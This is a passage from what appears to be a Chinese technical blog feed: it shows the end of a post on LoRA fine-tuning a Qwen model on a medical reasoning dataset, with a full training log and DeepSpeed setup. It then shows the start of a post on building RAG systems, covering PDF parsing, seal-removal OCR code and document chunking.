print(&quot;Start training...&quot;)
trainer.train()
print(&quot;End training...&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;nohup.out如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;The following values were not passed to `accelerate launch` and had defaults used instead:
	`--num_processes` was set to a value of `1`
	`--num_machines` was set to a value of `1`
	`--mixed_precision` was set to a value of `&apos;no&apos;`
	`--dynamo_backend` was set to a value of `&apos;no&apos;`
To avoid this warning pass in values for each of the problematic parameters or run `accelerate config`.

Loading weights:   0%|          | 0/339 [00:00&amp;lt;?, ?it/s]
Loading weights:  31%|███       | 104/339 [00:00&amp;lt;00:00, 1032.65it/s]
Loading weights:  61%|██████▏   | 208/339 [00:00&amp;lt;00:00, 949.35it/s] 
Loading weights: 100%|██████████| 339/339 [00:00&amp;lt;00:00, 1122.88it/s]
Loadding Dataset...
数据集一共有20171组数据
数据集:Dataset({
    features: [&apos;Question&apos;, &apos;Complex_CoT&apos;, &apos;Response&apos;],
    num_rows: 20171
})
数据集列[&apos;Question&apos;, &apos;Complex_CoT&apos;, &apos;Response&apos;]
Formating dataset...
Dataset after formatting Dataset({
    features: [&apos;Question&apos;, &apos;Complex_CoT&apos;, &apos;Response&apos;, &apos;text&apos;],
    num_rows: 20171
})
Dataset[0] 
请根据下方指令和提供的具体问题，撰写一个恰当的回复。
在回答前，请仔细思考问题，并展现一步一步的思考过程，以确保回复的逻辑性和准确性。

### 指令:
你是一位医学专家，精通临床推理、诊断和治疗计划。
请回答下面的医学问题。

### 问题:
根据描述，一个1岁的孩子在夏季头皮出现多处小结节，长期不愈合，且现在疮大如梅，溃破流脓，口不收敛，头皮下有空洞，患处皮肤增厚。这种病症在中医中诊断为什么病？

### 回答:
&amp;lt;think&amp;gt;
这个小孩子在夏天头皮上长了些小结节，一直都没好，后来变成了脓包，流了好多脓。想想夏天那么热，可能和湿热有关。才一岁的小孩，免疫力本来就不强，夏天的湿热没准就侵袭了身体。

用中医的角度来看，出现小结节、再加上长期不愈合，这些症状让我想到了头疮。小孩子最容易得这些皮肤病，主要因为湿热在体表郁结。

但再看看，头皮下还有空洞，这可能不止是简单的头疮。看起来病情挺严重的，也许是脓肿没治好。这样的情况中医中有时候叫做禿疮或者湿疮，也可能是另一种情况。

等一下，头皮上的空洞和皮肤增厚更像是疾病已经深入到头皮下，这是不是说明有可能是流注或瘰疬？这些名字常描述头部或颈部的严重感染，特别是有化脓不愈合，又形成通道或空洞的情况。

仔细想想，我怎么感觉这些症状更贴近瘰疬的表现？尤其考虑到孩子的年纪和夏天发生的季节性因素，湿热可能是主因，但可能也有火毒或者痰湿造成的滞留。

回到基本的症状描述上看，这种长期不愈合又复杂的状况，如果结合中医更偏重的病名，是不是有可能是涉及更深层次的感染？

再考虑一下，这应该不是单纯的瘰疬，得仔细分析头皮增厚并出现空洞这样的严重症状。中医里头，这样的表现可能更符合‘蚀疮’或‘头疽’。这些病名通常描述头部严重感染后的溃烂和组织坏死。

看看季节和孩子的体质，夏天又湿又热，外邪很容易侵入头部，对孩子这么弱的免疫系统简直就是挑战。头疽这个病名听起来真是切合，因为它描述的感染严重，溃烂到出现空洞。

不过，仔细琢磨后发现，还有个病名似乎更为合适，叫做‘蝼蛄疖’，这病在中医里专指像这种严重感染并伴有深部空洞的情况。它也涵盖了化脓和皮肤增厚这些症状。

哦，该不会是夏季湿热，导致湿毒入侵，孩子的体质不能御，其病情发展成这样的感染？综合分析后我觉得‘蝼蛄疖’这个病名真是相当符合。
&amp;lt;/think&amp;gt;
从中医的角度来看，你所描述的症状符合“蝼蛄疖”的病症。这种病症通常发生在头皮，表现为多处结节，溃破流脓，形成空洞，患处皮肤增厚且长期不愈合。湿热较重的夏季更容易导致这种病症的发展，特别是在免疫力较弱的儿童身上。建议结合中医的清热解毒、祛湿消肿的治疗方法进行处理，并配合专业的医疗建议进行详细诊断和治疗。
&amp;lt;｜end▁of▁sentence｜&amp;gt;
Config BitsAndBytes for int4 quantization...

Loading weights:   0%|          | 0/339 [00:00&amp;lt;?, ?it/s]
Loading weights:   0%|          | 1/339 [00:01&amp;lt;10:39,  1.89s/it]
Loading weights:   1%|          | 2/339 [00:09&amp;lt;29:31,  5.26s/it]/home/stw/miniconda3/envs/peft/lib/python3.10/site-packages/bitsandbytes/backends/cuda/ops.py:213: FutureWarning: _check_is_size will be removed in a future PyTorch release along with guard_size_oblivious.     Use _check(i &amp;gt;= 0) instead.
  torch._check_is_size(blocksize)

Loading weights:   1%|          | 4/339 [00:11&amp;lt;13:50,  2.48s/it]
Loading weights:   1%|▏         | 5/339 [00:12&amp;lt;11:35,  2.08s/it]
Loading weights:   2%|▏         | 6/339 [00:13&amp;lt;09:50,  1.77s/it]
Loading weights:   3%|▎         | 10/339 [00:13&amp;lt;03:43,  1.47it/s]
Loading weights:   4%|▎         | 12/339 [00:13&amp;lt;02:44,  1.98it/s]
Loading weights:   5%|▍         | 16/339 [00:15&amp;lt;02:27,  2.19it/s]
Loading weights:   5%|▌         | 17/339 [00:17&amp;lt;03:28,  1.54it/s]
Loading weights:   5%|▌         | 18/339 [00:18&amp;lt;04:20,  1.23it/s]
Loading weights:   6%|▋         | 22/339 [00:19&amp;lt;02:23,  2.20it/s]
Loading weights:   7%|▋         | 24/339 [00:19&amp;lt;01:58,  2.65it/s]
Loading weights:   8%|▊         | 28/339 [00:21&amp;lt;02:08,  2.42it/s]
Loading weights:   9%|▊         | 29/339 [00:24&amp;lt;03:46,  1.37it/s]
Loading weights:   9%|▉         | 30/339 [00:25&amp;lt;04:31,  1.14it/s]
Loading weights:  10%|█         | 34/339 [00:26&amp;lt;02:27,  2.06it/s]
Loading weights:  11%|█         | 36/339 [00:26&amp;lt;01:56,  2.59it/s]
Loading weights:  12%|█▏        | 40/339 [00:27&amp;lt;01:46,  2.82it/s]
Loading weights:  12%|█▏        | 41/339 [00:28&amp;lt;02:06,  2.36it/s]
Loading weights:  12%|█▏        | 42/339 [00:28&amp;lt;02:09,  2.29it/s]
Loading weights:  14%|█▎        | 46/339 [00:29&amp;lt;01:11,  4.08it/s]
Loading weights:  14%|█▍        | 48/339 [00:29&amp;lt;00:57,  5.06it/s]
Loading weights:  15%|█▌        | 52/339 [00:29&amp;lt;00:44,  6.49it/s]
Loading weights:  16%|█▌        | 54/339 [00:30&amp;lt;00:53,  5.29it/s]
Loading weights:  18%|█▊        | 62/339 [00:30&amp;lt;00:24, 11.20it/s]
Loading weights:  19%|█▉        | 65/339 [00:30&amp;lt;00:25, 10.92it/s]
Loading weights:  20%|██        | 68/339 [00:30&amp;lt;00:22, 12.19it/s]
Loading weights:  22%|██▏       | 76/339 [00:30&amp;lt;00:15, 17.27it/s]
Loading weights:  23%|██▎       | 79/339 [00:31&amp;lt;00:16, 15.71it/s]
Loading weights:  26%|██▌       | 88/339 [00:31&amp;lt;00:11, 22.53it/s]
Loading weights:  27%|██▋       | 91/339 [00:31&amp;lt;00:12, 19.34it/s]
Loading weights:  29%|██▉       | 100/339 [00:31&amp;lt;00:09, 25.90it/s]
Loading weights:  30%|███       | 103/339 [00:32&amp;lt;00:10, 21.94it/s]
Loading weights:  33%|███▎      | 112/339 [00:32&amp;lt;00:07, 28.55it/s]
Loading weights:  34%|███▍      | 116/339 [00:32&amp;lt;00:08, 25.46it/s]
Loading weights:  37%|███▋      | 124/339 [00:32&amp;lt;00:06, 30.91it/s]
Loading weights:  38%|███▊      | 128/339 [00:32&amp;lt;00:07, 27.57it/s]
Loading weights:  40%|████      | 136/339 [00:33&amp;lt;00:06, 33.13it/s]
Loading weights:  41%|████▏     | 140/339 [00:33&amp;lt;00:06, 28.88it/s]
Loading weights:  44%|████▎     | 148/339 [00:33&amp;lt;00:05, 34.79it/s]
Loading weights:  45%|████▍     | 152/339 [00:33&amp;lt;00:06, 30.77it/s]
Loading weights:  47%|████▋     | 160/339 [00:33&amp;lt;00:04, 37.01it/s]
Loading weights:  48%|████▊     | 164/339 [00:34&amp;lt;00:07, 23.89it/s]
Loading weights:  51%|█████     | 172/339 [00:34&amp;lt;00:05, 30.52it/s]
Loading weights:  52%|█████▏    | 176/339 [00:34&amp;lt;00:05, 28.29it/s]
Loading weights:  54%|█████▍    | 184/339 [00:34&amp;lt;00:04, 33.45it/s]
Loading weights:  55%|█████▌    | 188/339 [00:34&amp;lt;00:05, 29.65it/s]
Loading weights:  58%|█████▊    | 196/339 [00:34&amp;lt;00:04, 34.61it/s]
Loading weights:  59%|█████▉    | 200/339 [00:35&amp;lt;00:05, 27.66it/s]
Loading weights:  61%|██████▏   | 208/339 [00:35&amp;lt;00:03, 32.96it/s]
Loading weights:  63%|██████▎   | 212/339 [00:35&amp;lt;00:04, 28.06it/s]
Loading weights:  65%|██████▍   | 220/339 [00:35&amp;lt;00:03, 32.82it/s]
Loading weights:  66%|██████▌   | 224/339 [00:35&amp;lt;00:04, 28.38it/s]
Loading weights:  68%|██████▊   | 232/339 [00:36&amp;lt;00:03, 34.03it/s]
Loading weights:  70%|██████▉   | 236/339 [00:36&amp;lt;00:03, 29.36it/s]
Loading weights:  72%|███████▏  | 244/339 [00:36&amp;lt;00:02, 35.75it/s]
Loading weights:  73%|███████▎  | 248/339 [00:36&amp;lt;00:02, 31.35it/s]
Loading weights:  76%|███████▌  | 256/339 [00:36&amp;lt;00:02, 37.12it/s]
Loading weights:  77%|███████▋  | 260/339 [00:37&amp;lt;00:02, 32.22it/s]
Loading weights:  79%|███████▉  | 268/339 [00:37&amp;lt;00:01, 38.57it/s]
Loading weights:  81%|████████  | 273/339 [00:37&amp;lt;00:02, 24.02it/s]
Loading weights:  83%|████████▎ | 280/339 [00:37&amp;lt;00:02, 28.51it/s]
Loading weights:  84%|████████▍ | 284/339 [00:38&amp;lt;00:02, 24.47it/s]
Loading weights:  86%|████████▌ | 292/339 [00:38&amp;lt;00:01, 30.53it/s]
Loading weights:  87%|████████▋ | 296/339 [00:38&amp;lt;00:01, 27.77it/s]
Loading weights:  90%|████████▉ | 304/339 [00:38&amp;lt;00:01, 34.74it/s]
Loading weights:  91%|█████████ | 308/339 [00:38&amp;lt;00:01, 26.98it/s]
Loading weights:  93%|█████████▎| 316/339 [00:38&amp;lt;00:00, 33.28it/s]
Loading weights:  94%|█████████▍| 320/339 [00:39&amp;lt;00:00, 28.95it/s]
Loading weights:  97%|█████████▋| 328/339 [00:40&amp;lt;00:00, 13.57it/s]
Loading weights:  98%|█████████▊| 331/339 [00:40&amp;lt;00:00, 13.98it/s]
Loading weights: 100%|██████████| 339/339 [00:40&amp;lt;00:00,  8.37it/s]
wandb: [wandb.login()] Loaded credentials for https://api.wandb.ai from WANDB_API_KEY.
wandb: Currently logged in as: 3262818908 (3262818908-personal) to https://api.wandb.ai. Use `wandb login --relogin` to force relogin
wandb: setting up run awwiyurj
wandb: Tracking run with wandb version 0.27.0
wandb: Run data is saved locally in /home/stw/PEFT/wandb/run-20260605_115430-awwiyurj
wandb: Run `wandb offline` to turn off syncing.
wandb: Syncing run trim-thunder-2
wandb: ⭐️ View project at https://wandb.ai/3262818908-personal/test
wandb: 🚀 View run at https://wandb.ai/3262818908-personal/test/runs/awwiyurj
[transformers] warmup_ratio is deprecated and will be removed in v5.2. Use `warmup_steps` instead.
/home/stw/miniconda3/envs/peft/lib/python3.10/site-packages/huggingface_hub/utils/_deprecation.py:100: FutureWarning: Deprecated argument(s) used in &apos;__init__&apos;: dataset_text_field, dataset_num_proc, max_seq_length. Will not be supported from version &apos;0.13.0&apos;.

Deprecated positional argument(s) used in SFTTrainer, please use the SFTConfig to set these arguments instead.
  warnings.warn(message, FutureWarning)
[transformers] warmup_ratio is deprecated and will be removed in v5.2. Use `warmup_steps` instead.
/home/stw/miniconda3/envs/peft/lib/python3.10/site-packages/trl/trainer/sft_trainer.py:300: UserWarning: You passed a `max_seq_length` argument to the SFTTrainer, the value you passed will override the one in the `SFTConfig`.
  warnings.warn(
/home/stw/miniconda3/envs/peft/lib/python3.10/site-packages/trl/trainer/sft_trainer.py:314: UserWarning: You passed a `dataset_num_proc` argument to the SFTTrainer, the value you passed will override the one in the `SFTConfig`.
  warnings.warn(
/home/stw/miniconda3/envs/peft/lib/python3.10/site-packages/trl/trainer/sft_trainer.py:328: UserWarning: You passed a `dataset_text_field` argument to the SFTTrainer, the value you passed will override the one in the `SFTConfig`.
  warnings.warn(
[transformers] The tokenizer has new PAD/BOS/EOS tokens that differ from the model config and generation config. The model config and generation config were aligned accordingly, being updated with the tokenizer&apos;s values. Updated tokens: {&apos;bos_token_id&apos;: 151646, &apos;pad_token_id&apos;: 151643}.
model loaded
Qwen2ForCausalLM(
  (model): Qwen2Model(
    (embed_tokens): Embedding(152064, 3584)
    (layers): ModuleList(
      (0-27): 28 x Qwen2DecoderLayer(
        (self_attn): Qwen2Attention(
          (q_proj): Linear4bit(in_features=3584, out_features=3584, bias=True)
          (k_proj): Linear4bit(in_features=3584, out_features=512, bias=True)
          (v_proj): Linear4bit(in_features=3584, out_features=512, bias=True)
          (o_proj): Linear4bit(in_features=3584, out_features=3584, bias=False)
        )
        (mlp): Qwen2MLP(
          (gate_proj): Linear4bit(in_features=3584, out_features=18944, bias=False)
          (up_proj): Linear4bit(in_features=3584, out_features=18944, bias=False)
          (down_proj): Linear4bit(in_features=18944, out_features=3584, bias=False)
          (act_fn): SiLUActivation()
        )
        (input_layernorm): Qwen2RMSNorm((3584,), eps=1e-06)
        (post_attention_layernorm): Qwen2RMSNorm((3584,), eps=1e-06)
      )
    )
    (norm): Qwen2RMSNorm((3584,), eps=1e-06)
    (rotary_emb): Qwen2RotaryEmbedding()
  )
  (lm_head): Linear(in_features=3584, out_features=152064, bias=False)
)
Config Lora
Lora applied to the model
trainable params: 40,370,176 || all params: 7,655,986,688 || trainable%: 0.5273
start train
Config Train Arguements
SFT TRAINER START...
Start training...

  0%|          | 0/2522 [00:00&amp;lt;?, ?it/s]/home/stw/miniconda3/envs/peft/lib/python3.10/site-packages/torch/_dynamo/eval_frame.py:1298: UserWarning: torch.utils.checkpoint: the use_reentrant parameter should be passed explicitly. Starting in PyTorch 2.9, calling checkpoint without use_reentrant will raise an exception. use_reentrant=False is recommended, but if you need to preserve the current default behavior, you can pass use_reentrant=True. Refer to docs for more details on the differences between the two variants.
  return fn(*args, **kwargs)

  0%|          | 1/2522 [09:55&amp;lt;416:57:49, 595.43s/it]
  0%|          | 2/2522 [15:46&amp;lt;316:06:25, 451.58s/it]
                                                     

  0%|          | 2/2522 [15:46&amp;lt;316:06:25, 451.58s/it]
  0%|          | 3/2522 [21:25&amp;lt;279:57:43, 400.10s/it]
  0%|          | 4/2522 [27:20&amp;lt;267:21:31, 382.24s/it]
                                                     

  0%|          | 4/2522 [27:20&amp;lt;267:21:31, 382.24s/it]
  0%|          | 5/2522 [33:09&amp;lt;259:03:45, 370.53s/it]
  0%|          | 6/2522 [39:10&amp;lt;256:40:06, 367.25s/it]
                                                     

  0%|          | 6/2522 [39:10&amp;lt;256:40:06, 367.25s/it]
  0%|          | 7/2522 [44:30&amp;lt;245:39:45, 351.64s/it]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里我的电脑配置太拉了，就不等它训练完了，太慢了&lt;/p&gt;
&lt;h1&gt;三、分布式训练&lt;/h1&gt;
&lt;p&gt;上面我们说的都是单GPU的情况，如果想去做多卡训练，也很简单：&lt;/p&gt;
&lt;p&gt;1.在项目根目录新建ds_zero2.json，怎么写可以参考：https://huggingface.co/docs/accelerate/usage_guides/deepspeed。&lt;/p&gt;
&lt;p&gt;也可以参考我这个：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;bf16&quot;: {
        &quot;enabled&quot;: true
    },
    &quot;zero_optimization&quot;: {
        &quot;stage&quot;: 2,
        &quot;offload_optimizer&quot;: {
            &quot;device&quot;: &quot;none&quot;
        },
        &quot;allgather_partitions&quot;: true,
        &quot;allgather_bucket_size&quot;: 5e8,
        &quot;overlap_comm&quot;: true,
        &quot;reduce_scatter&quot;: true,
        &quot;reduce_bucket_size&quot;: 5e8,
        &quot;contiguous_gradients&quot;: true
    },
    &quot;gradient_accumulation_steps&quot;: &quot;auto&quot;,
    &quot;gradient_clipping&quot;: &quot;auto&quot;,
    &quot;train_batch_size&quot;: &quot;auto&quot;,
    &quot;train_micro_batch_size_per_gpu&quot;: &quot;auto&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2.TrainingArguments 中加一行 &lt;code&gt;deepspeed=&quot;./ds_zero2.json&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;3.运行（这里以2卡为例）：&lt;code&gt;CUDA_VISIBLE_DEVICES=0,1 accelerate launch --num_processes=2 test.py&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;四、LlamaFactory框架&lt;/h1&gt;
&lt;p&gt;最后推荐一下LlamaFactory这个框架吧，这个框架可以实现模型训练的可视化操作，我觉得无论是新手还是老手使用这个框架去进行工作都是更方便的：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260605131250840.png&quot; alt=&quot;image-20260605131250424&quot; /&gt;&lt;/p&gt;
&lt;p&gt;前面的学习可以说是为了夯实基本功，但真正干活的时候还是怎么方便怎么来。&lt;/p&gt;
</content:encoded></item><item><title>RAG焚诀</title><link>https://whyulooksad.github.io/posts/rag%E7%84%9A%E8%AF%80/</link><guid isPermaLink="true">https://whyulooksad.github.io/posts/rag%E7%84%9A%E8%AF%80/</guid><description>今天来谈谈RAG实战中的一些细节。RAG这东西很简单，但是想做好还是需要一点细节。</description><pubDate>Fri, 08 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;今天来谈谈RAG实战中的一些细节。RAG这东西很简单，但是想做好还是需要一点细节。&lt;/p&gt;
&lt;h1&gt;RAG介绍&lt;/h1&gt;
&lt;h2&gt;1. 什么是RAG?&lt;/h2&gt;
&lt;p&gt;RAG（Retrieval-Augmented Generation）是一种结合了 &lt;strong&gt;信息检索（Retrieval）&lt;/strong&gt; 和 **文本生成（Generation）**的AI技术框架。它的核心思想是，在生成文本时，不仅依赖于模型本身的参数，还可以从外部知识库中检索相关的信息，以增强生成的内容。&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;2. RAG 的工作过程&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;RAG分为离线和在线两个部分。&lt;/p&gt;
&lt;p&gt;离线部分是指系统的准备阶段，主要完成&lt;strong&gt;知识库的建立与向量化&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;在线部分主要包括两个阶段：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;检索（Retrieval）&lt;/strong&gt;：从知识库（如文档、数据库、互联网等）中检索出与输入问题最相关的内容。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生成（Generation）&lt;/strong&gt;：利用检索到的信息作为额外的上下文输入，引导大语言模型（如GPT）生成更准确、更可靠的答案。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;一个基本的RAG流程如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260416000747927.png&quot; alt=&quot;image-20260416000747617&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;解析&lt;/h1&gt;
&lt;p&gt;首先是知识文档库中文档的解析，因为大多都是PDF，所以这里我直接以PDF为例。&lt;/p&gt;
&lt;p&gt;在总体方案的选型上，我尝试过PyPDF2、Unstructured、Deepdoc。其中，Deepdoc的效果整体来说最好&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方案&lt;/th&gt;
&lt;th&gt;问题&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;PyPDF2&lt;/td&gt;
&lt;td&gt;只能提取文本，无法处理复杂布局&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unstructured&lt;/td&gt;
&lt;td&gt;通用性强但复杂表格识别率一般&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Deepdoc&lt;/td&gt;
&lt;td&gt;基于YOLOv10的布局分析+PaddleOCR，对中文文档友好，图表识别率较高&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;PDF的 pipeline：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;输入PDF → 版面分析 → 元素分类 → 针对性解析 → 结构化输出
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;step1:  版面分析&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;一般情况下，模型直接采用 Deepdoc 默认的 YOLOv10 即可。我也看到有人会改用 LayoutLMv3，但我没有试过。&lt;/p&gt;
&lt;p&gt;该方案通常会识别七类版面元素：标题、正文、表格、图片、表格标题、图表标题、公式，并输出每个元素的 bbox 坐标、类别以及置信度。如果需要特殊的版面识别如印章、水印等，再去做专门的模型微调。&lt;/p&gt;
&lt;p&gt;这里补充一个合同场景中很常见的问题：印章或签名经常会与正文发生重叠，导致 OCR 识别效果下降。我的处理思路是增加一个遮挡检查模块：当某个 text 块的 OCR 置信度低于 0.6，且与印章区域的 IoU 大于 0.3 时，先执行印章去除，再重新进行 OCR。具体做法上，可以用 &lt;code&gt;color histogram + connected component analysis&lt;/code&gt; 来分离印章层和文本层，从而尽量减少遮挡对识别结果的影响。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  def compute_iou(box_a, box_b):
      &quot;&quot;&quot;计算两个 bbox 的 IoU&quot;&quot;&quot;
      x0 = max(box_a[&quot;x0&quot;], box_b[&quot;x0&quot;])
      y0 = max(box_a[&quot;top&quot;], box_b[&quot;top&quot;])
      x1 = min(box_a[&quot;x1&quot;], box_b[&quot;x1&quot;])
      y1 = min(box_a[&quot;bottom&quot;], box_b[&quot;bottom&quot;])

      inter = max(0, x1 - x0) * max(0, y1 - y0)
      area_a = (box_a[&quot;x1&quot;] - box_a[&quot;x0&quot;]) * (box_a[&quot;bottom&quot;] - box_a[&quot;top&quot;])
      area_b = (box_b[&quot;x1&quot;] - box_b[&quot;x0&quot;]) * (box_b[&quot;bottom&quot;] - box_b[&quot;top&quot;])
      return inter / (area_a + area_b - inter + 1e-6)

  def remove_seal(image, seal_bbox, hsv_lower=(0, 80, 80), hsv_upper=(15, 255, 255)):
      &quot;&quot;&quot;
      基于颜色直方图 + 连通域分析分离印章层，用修复算法填充印章区域。
      默认 HSV 范围针对红色印章，可根据实际印章颜色调整。
      &quot;&quot;&quot;
      x0, y0 = int(seal_bbox[&quot;x0&quot;]), int(seal_bbox[&quot;top&quot;])
      x1, y1 = int(seal_bbox[&quot;x1&quot;]), int(seal_bbox[&quot;bottom&quot;])
      roi = image[y0:y1, x0:x1]

      hsv = cv2.cvtColor(roi, cv2.COLOR_BGR2HSV)

      # 红色在 HSV 空间中跨越 0 度，需要两个范围
      mask1 = cv2.inRange(hsv, np.array(hsv_lower), np.array(hsv_upper))
      mask2 = cv2.inRange(hsv, np.array([160, 80, 80]), np.array([180, 255, 255]))
      seal_mask = cv2.bitwise_or(mask1, mask2)

      # 连通域分析，过滤小噪点
      num_labels, labels, stats, _ = cv2.connectedComponentsWithStats(seal_mask)
      for i in range(1, num_labels):
          area = stats[i, cv2.CC_STAT_AREA]
          if area &amp;lt; 50:  # 面积太小的不是印章，清除
              seal_mask[labels == i] = 0

      # 膨胀 mask，确保覆盖印章边缘
      kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (5, 5))
      seal_mask = cv2.dilate(seal_mask, kernel, iterations=2)

      # 用 inpaint 修复印章区域，恢复被遮挡的文本
      roi_clean = cv2.inpaint(roi, seal_mask, inpaintRadius=5, flags=cv2.INPAINT_TELEA)

      result = image.copy()
      result[y0:y1, x0:x1] = roi_clean
      return result

  def ocr_with_seal_removal(image, ocr_results, page_layout, ocr_engine,
                            conf_thr=0.6, iou_thr=0.3):
      &quot;&quot;&quot;
      遮挡检查模块：当 text 块 OCR 置信度低且与印章区域重叠时，
      先去除印章再重新 OCR。

      参数:
          image:        原始页面图像 (numpy array)
          ocr_results:  OCR 结果列表, 每项包含 bbox 和 (text, score)
          page_layout:  版面分析结果, 每项包含 type / x0 / x1 / top / bottom
          ocr_engine:   OCR 引擎实例 (项目中的 OCR 类)
          conf_thr:     置信度阈值，低于此值视为可疑
          iou_thr:      IoU 阈值，高于此值视为被印章遮挡
      &quot;&quot;&quot;
      seal_regions = [lt for lt in page_layout if lt[&quot;type&quot;] in (&quot;seal&quot;, &quot;figure&quot;)]

      if not seal_regions:
          return ocr_results

      cleaned_image = None

      for i, (box, (text, score)) in enumerate(ocr_results):
          if score &amp;gt;= conf_thr:
              continue

          text_bbox = {
              &quot;x0&quot;: min(p[0] for p in box), &quot;x1&quot;: max(p[0] for p in box),
              &quot;top&quot;: min(p[1] for p in box), &quot;bottom&quot;: max(p[1] for p in box),
          }

          for seal in seal_regions:
              if compute_iou(text_bbox, seal) &amp;lt; iou_thr:
                  continue

              # 命中：低置信度 + 高重叠 → 去印章后重新识别
              if cleaned_image is None:
                  cleaned_image = image.copy()
                  for s in seal_regions:
                      cleaned_image = remove_seal(cleaned_image, s)

              new_text = ocr_engine.recognize(cleaned_image, np.array(box, dtype=np.float32))
              if new_text:
                  ocr_results[i] = (box, (new_text, score))
              break

      return ocr_results
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;step2：表格解析&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;文档中通常有有边框表格和无边框表格两类表格。有边框表格deepdoc默认可以处理，而通过空格对齐的无边框表格，deepdoc的识别率一般。&lt;/p&gt;
&lt;p&gt;我给出的方案是先用启发式规则判断有框表格和无框表格。如果是无框表格，调用MinerU 2.5来输出HTML结构化表格。&lt;/p&gt;
&lt;p&gt;MinerU 2.5原理：基于Table Transformer架构，用row/column detection识别隐式表格结构，然后用cell matching重建单元格关系。&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;step3：扫描件/模糊图片处理&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;有些PDF是做了双层的，或者里面直接贴了很多扫描件，针对这种模糊场景，我的优化思路是：先用拉普拉斯方差评估扫描图像的模糊程度，再做分级处理：清晰图直接进入解析流程；中度模糊图依次进行去噪、锐化、超分辨率和对比度增强；严重模糊图则直接切换到预处理能力更强的 MinerU 2.5，以提升整体识别鲁棒性。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def preprocess_scanned_image(img):
    # 模糊检测（拉普拉斯方差）

    blur_score = cv2.Laplacian(img, cv2.CV_64F).var()

    if blur_score &amp;gt; 100:  # 清晰图片
        return img

    elif 50 &amp;lt; blur_score &amp;lt;= 100:  # 中度模糊
        # 去噪 → 锐化 → 超分辨率 → 对比度增强
        img = cv2.fastNlMeansDenoising(img)
        img = cv2.filter2D(img, -1, sharpen_kernel)
        img = sr_model.predict(img)  # Real-ESRGAN
        img = cv2.convertScaleAbs(img, alpha=1.5, beta=10)

    else:  # 严重模糊（blur_score &amp;lt;= 50）
        # 直接用MinerU 2.5（它内置了更强的预处理）
        return minerU_process(img)

    return img
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;step4：非文本元素处理&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;对于 PDF 中的图片和公式，我会在解析阶段先做类型识别，再分别转成文本化表示。流程图、示意图这类语义图片，使用多模态模型生成摘要描述；数据图表使用 chart-to-text 模型提取数据；数学公式则通过 LaTeX-OCR 转成 文本表达。这样做就可以把原本不可检索的非文本信息转换成可入库、可召回的结构化内容，再在分块阶段挂到对应 chunk 中。&lt;/p&gt;
&lt;h1&gt;分块&lt;/h1&gt;
&lt;p&gt;分块应该是整个RAG系统中最影响效果的一环了，很多RAG效果差，主要是这部分没做好。&lt;/p&gt;
&lt;p&gt;RAG系统中，chunk的切分质量主要影响两个核心指标：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;检索召回率：chunk太大 → 噪音多，相似度计算不准；chunk太小 → 语义被割裂&lt;/li&gt;
&lt;li&gt;答案质量：chunk边界不合理 → 关键信息被截断，LLM无法正确理解&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我觉得大部分人去做切块可能会是下面两种做法：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方案&lt;/th&gt;
&lt;th&gt;做法&lt;/th&gt;
&lt;th&gt;问题&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;固定长度切分&lt;/td&gt;
&lt;td&gt;每 512- 1024 token切一刀，overlap 50 - 200&lt;/td&gt;
&lt;td&gt;会截断句子，语义破碎&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;句子级切分&lt;/td&gt;
&lt;td&gt;按句号切分，累计到大概 1024 token&lt;/td&gt;
&lt;td&gt;长句子会超限；无法保留章节结构&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;基于这两种方案的坑点，给大家介绍一个实测好用的切块方案：&lt;strong&gt;语义感知切分&lt;/strong&gt;（基于文档结构＋语义完整性）&lt;/p&gt;
&lt;p&gt;核心思想为：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;优先按&quot;章节&quot;切分（保留完整语义单元）&lt;/li&gt;
&lt;li&gt;章节过长时，按&quot;小节&quot;切分&lt;/li&gt;
